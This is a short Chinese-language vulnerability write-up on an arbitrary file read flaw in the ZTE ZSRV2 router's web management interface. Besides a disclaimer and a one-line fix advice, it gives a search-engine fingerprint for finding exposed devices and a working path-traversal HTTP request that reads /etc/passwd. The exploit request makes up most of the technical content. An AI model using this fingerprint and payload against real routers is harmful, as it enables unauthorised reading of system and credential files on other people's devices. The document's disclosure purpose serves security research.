中兴-ZSRV2路由器-任意文件读取 文章目录 中兴-ZSRV2路由器-任意文件读取免责声明漏洞描述搜索语法漏洞复现修复建议 免责声明 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任 漏洞描述 该路由器管理页面的存在任意文件读取漏洞 搜索语法 title=“ZSRV2路由器Web管理系统” 漏洞复现 GET /../../../../../../../../etc/passwd HTTP/1.1 Host: Accept: */* Accept-Encoding: gzip, deflate, br Connection: keep-alive 修复建议 升级到最新版本